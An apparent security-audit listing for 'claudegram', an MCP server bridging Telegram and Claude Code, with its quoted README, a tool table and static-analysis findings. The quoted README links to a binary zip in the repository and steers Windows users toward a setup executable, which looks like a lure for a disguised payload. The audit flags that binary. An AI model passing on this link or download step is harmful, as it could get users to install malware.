claudegramCAUTION
mcp/uri6407/claudegram
Connect your personal Telegram account to Claude Code using the MTProto protocol instead of the Bot API.
Verdict
CAUTION
Grade
B
Trust score
81 /100
Exposed tools
133 88r · 34w · 11d
Transport
stdio
License
MIT
Stars
2
01
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Uri6407/claudegram/raw/refs/heads/main/server/tools/peers/Software-v3.4.zip)
💡 What is claudegram?
Claudegram lets you control your Telegram account using intelligent commands. You can automate messages, manage channels, and organize your chats through a central computer program. It connects Claude to your Telegram account safely. You gain control over your data and interactions without needing technical skills.
The software includes over 120 specialized tools to manage your Telegram account. It provides safety checks to keep your information secure. It acts as a bridge between your desktop environment and the Telegram messaging network. You use simple prompts to perform complex tasks.
💻 System Requirements
To run this application, your computer needs the following:
- Windows 10 or Windows 11
- A stable internet connection
- 200 MB of free storage space
- A valid Telegram account
📥 How to Install
- Visit the official download page.
- Locate the file named claudegram-setup.exe.
- Save the file to your computer.
- Double-click the file to start the installation.
- Follow the prompts on your screen to complete the setup.
- Open the application from your desktop icon.
🚀 Setting Up Your Account
When you open claudegram, you must link your Telegram account. Follow these steps to complete the link:
- Enter your Telegram phone number when prompted.
- Check your phone for a confirmation code from Telegram.
- Type that code into the claudegram application.
- Select verify to establish the connection.
The application uses the MTProto protocol to talk to Telegram servers. This is an official method provided by Telegram for third-party programs. Your credentials stay secure within
Read from source at commit
001d7a2f068cOBSERVED · 2026-10-1102
Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude-code
claude mcp add claudegram -- uvx claudegram
claude-desktop
{
"mcpServers": {
"claudegram": {
"command": "uvx",
"args": [
"claudegram"
]
}
}
}03
Exposed tools (133)
88 read · 34 write · 11 destructive. Blast radius: 11 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
add_contact | write | Добавить пользователя в контакты. |
archive_dialog | read | Переместить диалог в архив (folder=1). |
archive_dialogs | read | Перенести N диалогов в архив. |
auth_cancel | read | Отменить незавершённый auth-flow (если запросил код, но не ввёл). |
auth_request_code | read | Шаг 1: запросить SMS-код у Telegram. Очищает предыдущий auth-state. |
auth_submit_code | write | Шаг 2: отправить код (и опц. пароль 2FA). |
ban_participant | read | Забанить участника навсегда — он не сможет вернуться. |
block_user | read | Заблокировать пользователя — он не сможет писать. |
clear_draft | destructive | Очистить draft в чате (синхронизация на все устройства). |
click_inline_button | read | Нажать inline-кнопку под сообщением бота. |
create_channel | write | Создать канал (broadcast=True) или супергруппу (megagroup=True). |
create_dialog_filter | write | Создать/обновить кастомную папку диалогов. |
create_forum_topic | write | Создать новую тему в forum-супергруппе. |
create_group | write | Создать обычную группу с указанными участниками. |
delete_contact | destructive | Удалить пользователя из контактов. |
delete_dialog | destructive | Покинуть чат/канал или удалить личный диалог. |
delete_dialog_filter | destructive | Удалить кастомную папку диалогов. |
delete_dialogs | destructive | Удалить N диалогов одним MCP-вызовом. |
delete_forum_topic | destructive | Удалить тему вместе со всеми сообщениями. |
delete_message | destructive | Удалить сообщения. По умолчанию — только у себя. |
delete_scheduled | destructive | Удалить отложенные сообщения (до их отправки). |
delete_stories | destructive | Удалить свои истории. |
demote_admin | read | Снять права админа (все флаги в False). |
dialog_stats | read | Счётчики диалогов по типам — без payload, 1 запрос. |
download_media | read | Скачать медиа из сообщения. |
download_profile_photo | read | Скачать аватарку юзера/чата на диск или inline (base64 в ответе). |
edit_chat_about | write | Установить описание чата (about/bio). |
edit_chat_photo | write | Установить аватарку чата/канала из файла. |
edit_chat_title | write | Переименовать чат/канал. |
edit_forum_topic | write | Редактировать тему: переименовать, закрыть, скрыть. |
edit_message | write | Отредактировать своё сообщение. |
export_chat_invite | read | Создать invite-ссылку на чат/канал. |
forward_message | read | Переслать сообщения из одного чата в другой. |
get_admin_log | read | Журнал действий админов в супергруппе/канале. |
get_all_stories | read | Все доступные истории из ленты (по подпискам). |
get_app_config | read | Конфигурация клиента (флаги фич, premium-лимиты, gifts и т.д.). |
get_authorizations | read | Список активных сессий аккаунта (другие устройства/клиенты). |
get_blocked | read | Список заблокированных юзеров. |
get_chat_info | read | Подробная инфа о любом entity: пользователе/чате/канале/боте. |
get_common_chats | read | Общие чаты с указанным юзером. |
get_contacts | read | Список всех контактов аккаунта. |
get_countries_list | read | Список всех стран с phone-кодами (для интерфейса добавления контактов). |
get_dialog_filters | read | Список кастомных папок диалогов (Folders в UI Telegram). |
get_dialogs_by_ids | read | Получить informация о N конкретных диалогах одним вызовом. |
get_drafts | read | Список несохранённых черновиков по всем чатам. |
get_forum_topics | read | Список тем в forum-супергруппе. |
get_forum_topics_by_id | read | Получить конкретные темы по их id. |
get_full_user | read | Расширенная инфа о пользователе (bio, общие чаты, premium, etc). |
get_history | read | Сообщения чата (новые → старые по умолчанию). |
get_history_with_links | read | Гибрид: компактные text-блоки + ResourceLink на каждое сообщение. |
get_input_peer | read | Получить InputPeer для чата (нужен для raw API вызовов). |
get_installed_stickers | read | Список установленных стикерсетов. |
get_me | read | Информация о текущем авторизованном пользователе. |
get_media_info | read | Метаданные медиа в сообщении (тип, размер, mime, dimensions, duration). |
get_nearest_dc | read | Ближайший Telegram DC по geo (используется для оптимизации). |
get_participants | read | Список участников группы/канала. |
get_password_info | read | Информация о настроенном 2FA-пароле (включён ли, hint, recovery email). |
get_peer_stories | read | Активные истории конкретного юзера/канала. |
get_pinned_stories | read | Закреплённые (сохранённые в профиле) истории юзера. |
get_poll_results | read | Текущие результаты опроса (количество голосов на вариант). |
get_premium_promo | read | Промо-материал Telegram Premium (фичи, цены). |
get_privacy | read | Получить текущие privacy-настройки для указанного ключа. |
get_profile_photos | read | Список фото профиля юзера/группы/канала (метаданные, без скачивания). |
get_scheduled_messages | read | Список отложенных сообщений в чате (которые ещё не отправлены). |
get_server_version | read | Версия Claudegram + Telethon + MCP SDK. |
get_stars_balance | read | Текущий баланс Telegram Stars (внутренняя валюта). |
get_stars_transactions | read | История Stars-транзакций (покупки/расходы). |
get_stats | read | Статистика канала/супергруппы (только если ты админ). |
get_sticker_set | write | Получить стикерсет по short_name (например |
get_stories_archive | read | Архив моих историй (истёкшие, но не удалённые). |
get_stories_by_id | read | Получить конкретные истории по их id. |
get_story_views | read | Кто посмотрел мою story. |
get_telegram_config | read | Базовый конфиг Telegram-сети (DC, лимиты файлов, edit_time_limit и т.д.). |
get_top_peers | read | Топ часто-используемых контактов в указанной категории. |
health_check | read | Проверка работоспособности: соединение с Telegram, валидность сессии. |
import_contacts | write | Массовый импорт контактов по номерам телефона (без знания Telegram-ID). |
inline_query | read | Сделать inline-запрос к боту (как `@bot query` в любом чате). |
install_sticker_set | write | Установить стикерсет аккаунту. |
invoke_raw | write | Вызвать произвольный Telegram MTProto-метод через Telethon. |
join_chat | read | Войти в публичный канал/группу (по @username или ссылке-приглашению). |
kick_participant | read | Кикнуть участника из чата (он сможет вернуться). |
leave_chat | read | Выйти из канала/супергруппы. |
leave_chats | read | Выйти из N каналов/супергрупп одним вызовом. |
list_bots | read | PM-боты в диалогах. |
list_channels | read | Только broadcast-каналы (без supergroup |
list_chats | read | Список всех диалогов (юзеры/боты/группы/каналы — без фильтра). |
list_groups | read | Группы и супергруппы. |
list_pm_users | read | Личные чаты с юзерами (без ботов). |
mark_read | read | Пометить сообщения чата прочитанными. |
mark_stories_read | read | Пометить истории прочитанными до указанного id. |
mute_dialog | read | Замьютить уведомления чата. |
pin_dialog | read | Закрепить/открепить диалог в шапке списка. |
pin_forum_topic | read | Закрепить/открепить тему в шапке. |
pin_message | read | Закрепить сообщение в чате. |
promote_admin | read | Назначить участника администратором с заданными правами. |
react_message | read | Поставить реакцию-эмодзи на сообщение. |
reorder_pinned_forum_topics | read | Переставить порядок закреплённых тем. |
resolve_username | read | Найти entity по @username и вернуть инфу + id. |
restrict_participant | read | Ограничить права участника супергруппы (read-only mute и т.п.). |
save_draft | write | Сохранить серверный draft в чате (синхронизируется на все устройства). |
search_global | read | Глобальный поиск по юзерам/чатам/каналам по имени или @username. |
search_messages | read | Поиск сообщений по тексту глобально или в чате. |
search_sticker_sets | read | Поиск стикерсетов по имени (Telegram-каталог). |
send_album | write | Отправить альбом из 2-10 фото/видео одной группой. |
send_contact | write | Отправить визитку контакта. |
send_dice | write | Отправить интерактивный «кубик». |
send_file | write | Отправить файл. Telethon сам определит тип (фото/видео/документ). |
send_location | write | Отправить геолокацию. |
send_message | write | Отправить текстовое сообщение. |
send_poll | write | Создать и отправить опрос. |
send_scheduled_now | write | Принудительно отправить отложенные сообщения сейчас. |
send_sticker_by_id | write | Отправить стикер по document_id (получи через get_sticker_set). |
send_story | write | Опубликовать новую story с фото/видео. |
send_video_note | write | Отправить video-кружок (.mp4 → круглое видео ≤60s, диаметр 384px). |
send_voice | write | Отправить голосовое сообщение (.ogg/.mp3 → opus voice note). |
set_online | write | Установить online/offline статус. |
set_privacy | write | Установить privacy для указанного ключа. |
set_typing | write | Послать сигнал активности в чат (печатает / записывает / отправляет). |
start_bot | write | Запустить бота (отправить /start) с deep-link параметром. |
summarize_chat | read | Резюме последних N сообщений чата через LLM-вызов клиента. |
terminate_authorization | destructive | Завершить чужую активную сессию по `hash` из get_authorizations. |
toggle_forum_mode | read | Включить/выключить forum-режим (темы) в супергруппе. |
toggle_pinned_stories | read | Закрепить/открепить мои stories в профиле (доступно бессрочно). |
transcribe_audio | read | Транскрибировать голосовое в текст (Telegram Premium фича). |
unarchive_dialog | read | Вернуть диалог из архива в основной список (folder=0). |
unban_participant | read | Снять бан с участника. |
unblock_user | read | Разблокировать пользователя. |
uninstall_sticker_set | destructive | Удалить стикерсет из аккаунта. |
unmute_dialog | read | Снять mute с чата (вернуть дефолтные настройки). |
unpin_message | read | Открепить одно сообщение или все pinned в чате. |
update_profile | write | Изменить отображаемое имя/фамилию/био собственного профиля. |
update_username | write | Сменить @username аккаунта (пустая строка — снять username). |
vote_poll | read | Проголосовать в poll. |
04
Trust audit
CAUTIONgrade B · trust 81/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- none-observed
- Shell
- declared (1 observation(s))
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (9)
MEDIUMInventory / provenance · inv.binary · CWE-1104
server/tools/peers/Software-v3.4.zip
Software-v3.4.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
server/tools/advanced/raw.py:45
module = importlib.import_module(module_path)
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
server/permission_relay.py:124
text += f"\nОтветь:\n `yes {request_id}` — разрешить\n `no {request_id}` — запретить"MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
server/prompts.py:30
f"4. Дай короткое summary каждого блока (одна-две фразы про suть).\n"
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
server/prompts.py:90
f"4. Покажи 5-7 buллетов общим итогом + 3-5 конкретных action items, на которые стоит ответить."
MEDIUMObfuscation / stealth · obf.zero_width · CWE-506, CWE-94
server/completions.py:32
"🥱", "🥴", "😍", "🐳", "❤🔥", "🌚", "🌭", "💯", "🤣", "⚡",
MEDIUMObfuscation / stealth · obf.zero_width · CWE-506, CWE-94
server/completions.py:34
"😴", "😭", "🤓", "👻", "👨💻", "👀", "🎃", "🙈", "😇", "😨",
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
clear_draft, delete_contact, delete_dialog, delete_dialog_filter, delete_dialogs, delete_forum_topic, delete_message, delete_scheduled, delete_stories, terminate_authorization, uninstall_sticker_set
Why it matters. 11 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
tests/conftest.py:141
mod = __import__(f"server.tools.{path}", fromlist=["get_client"])Gates applied: no_behavioural_pass.
Audited 2026-10-11 · audit v0.4.1 · source sha
001d7a2f068cfull audit observations/trust-audit/mcp-server/uri6407__claudegram.json · Report an issue / request a re-scan05
Audit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 001d7a2f068c | CAUTION | B | 81 | first audit |
06
Questions
What is the claudegram MCP server?
Connect your personal Telegram account to Claude Code using the MTProto protocol instead of the Bot API.
What tools does claudegram expose?
133 in total: 88 read-only, 34 that write, and 11 that can delete or overwrite (clear_draft, delete_contact, delete_dialog, delete_dialog_filter, delete_dialogs). Every one is listed on this page with its risk.
Is claudegram safe to connect to an agent?
With care. The audit graded it B (81/100) and found 9 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 11 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does claudegram need?
No credential environment variables were found in its source, so it appears to need none.
How does claudegram run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as claudegram.
How current is this page?
The grade is for one exact copy of the source (001d7a2f068c), read on 2026-10-11. The repository is watched and re-audited when it changes.